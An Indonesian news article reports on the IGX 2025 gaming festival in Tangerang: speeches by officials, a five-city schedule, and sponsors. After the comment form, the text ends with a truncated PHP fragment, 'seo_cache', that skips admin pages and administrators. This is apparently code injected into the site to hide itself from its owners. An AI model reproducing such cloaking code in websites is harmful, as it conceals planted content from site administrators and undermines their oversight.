Nasional

Kolaborasi APTIKNAS dan AGKDI Hadirkan Festival Gaming Terbesar IGX 2025 di Tangcity Mall

×

Kolaborasi APTIKNAS dan AGKDI Hadirkan Festival Gaming Terbesar IGX 2025 di Tangcity Mall

Sebarkan artikel ini

TANGERANG, MENARASUMBA.COM – Asosiasi Pengusaha TIK Nasional (APTIKNAS) dan Asosiasi Game dan Konten Digital Indonesia (AGKDI) berkolaborasi menghadirkan Indonesia Game Experience (IGX) 2025, sebuah festival gaming terbesar di Indonesia.

Acara berskala nasional yang digelar sejak 17 hingga 20 Juli 2025 di Tangcity Mall, Tangerang, Banten ini didukung penuh Kementerian Kebudayaan RI.

Acara pembukaan IGX 2025 pada Kamis (17/07/2025, menandai puncak kolaborasi antara teknologi, budaya, dan industri kreatif.

Mengusung tema “Kolaborasi Budaya, Teknologi, Game Developer, dan Industri Kreatif,” IGX 2025 bertujuan mendorong transformasi ekonomi digital melalui pemanfaatan budaya dan teknologi, membangun ekosistem game berbasis kearifan lokal, serta menjadi wadah pertemuan bagi industri game, pemerintah, akademisi, hingga pelajar.

Pembukaan IGX 2025 dihadiri sejumlah tokoh penting, di antaranya Dirjen Pengembangan, Pemanfaatan, dan Pembinaan Kebudayaan Kementerian Kebudayaan RI, Ahmad Mahendra, M.Tr.AP, Ketua Umum APTIKNAS, Ir. Soegiharto Santoso, SH, Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu Provinsi Banten, Ir. Hajah Virgojanti, Direktur TAITRA Jakarta, Amy Hsiao, Building Manager Tangcity Superblock, Rawanto, Sekjen AGKDI, Tommy Mualim, dan Waketum APTIKNAS Hubungan Internasional, Andi Tanudiredja.

Dalam sambutannya, Dirjen Pengembangan, Pemanfaatan, dan Pembinaan Kebudayaan Kementerian Kebudayaan RI, Ahmad Mahendra, M.Tr.AP, menyampaikan komitmen kementerian untuk terus mendukung pelaku industri game lokal.

Ia menyebut, potensi sektor game sangat besar dalam mendorong pertumbuhan ekonomi digital dan membuka lapangan kerja, terutama bagi generasi muda.

“Sayangnya, pasar kita masih didominasi game dari luar negeri. Karena itu, kolaborasi lintas sektor seperti di IGX ini penting untuk memperkuat ekosistem game Indonesia yang kreatif, mandiri, dan berakar pada budaya nasional,” ujarnya.

Pada kesempatan yang sama, Ketua Umum APTIKNAS, Ir. Soegiharto Santoso, S.H., mengatakan, pelaksanaan IGX 2025 adalah manifestasi nyata dari sinergi antara dunia usaha, pemerintah, serta komunitas dalam mendorong pertumbuhan industri game dan konten digital nasional.

Melalui kolaborasi strategis dengan berbagai asosiasi dan pelaku industri, kata dia, ajang ini tidak semata menampilkan potensi besar sektor hiburan digital,

“Tapi juga membuka peluang investasi, pengembangan talenta, serta ekspansi pasar yang lebih luas, baik di tingkat nasional maupun internasional,” tandas Ketua Dewan Pengawas AGKDI yang akrab disapa Hoky ini.

Dirinya yakin pemerintah pusat mendukung setiap prestasi pengurus dan anggota APTIKNAS di bidang teknologi.

Hoky mencontohkan produk robot karya Yohanes Kurnia Widjaja (pengurus APTIKNAS) yang digunakan pada perayaan HUT POLRI ke-79 dan mendapat apresiasi dari Presiden RI Prabowo Subianto.

Festival gaming ini merupakan kelanjutan dari inisiatif APTIKNAS pasca-Pandemi Covid-19, yang sebelumnya dimulai dari Bekasi Cyber Park, Jawa Barat dan direncanakan berlanjut pada lima kota besar di Indonesia.

Sesuai agenda akan digelar di Tangerang, Banten (17-20 Juli 2025), Surabaya, Jawa Timu (Agustus 2025), Semarang, Jawa Tengah (September 2025), Bandung, Jawa Barat (Oktober 2025), dan penutupannya di Jakarta pada November 2025.

Seluruh rangkaian kegiatan IGX 2025 dimotori Ketua Umum AGKDI, Hendri Andrigo Sutanto, yang juga menjabat Ketua DPD APTIKNAS Jakarta, bersama jajaran pengurus AGKDI dan mitra vendor produk-produk TIK ternama.

Pihaknya mengundang para pemangku kepentingan baik dari sektor swasta, institusi pendidikan, komunitas kreatif, maupun pemerintah daerah untuk berpartisipasi aktif dalam perhelatan ini.

Sponsor dan Mitra Pendukung

IGX 2025 didukung oleh Taiwan Excellence sebagai Platinum Sponsor, serta beberapa sponsor lainnya seperti AMD, Samsung, Lexar, ASRock, Klevv, Ryunix, Inno3D, ION. Network, Nemesis, Ones, Finpay, Hyte, Mchose, Steelseries, Thrustmaster, Langame, dan Telkomsel.

Kegiatan ini juga mendapat dukungan penuh dari publisher game dan game developer seperti Zepettoo, Megaxus, Line Game, Santai Games, Point Blank, Valorant, Honor of Kings, Mobile Legend Bang Bang, Nusantara Online, Molle, Free Fire, Counter Strike 2, Rogue, dan Venba.

Seluruh rangkaian pelaksanaan IGX 2025 tidak dipungut biaya dan terbuka untuk umum, dengan berbagai kegiatan menarik yang berlangsung di Atrium Utama Tangcity Mall, Tangerang.

Acara ini turut dihadiri jajaran pengurus DPP APTIKNAS dan pengurus DPD APTIKNAS Banten, jajaran pengurus AGKDI, serta jajaran pengurus DPN PERATIN Banten. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>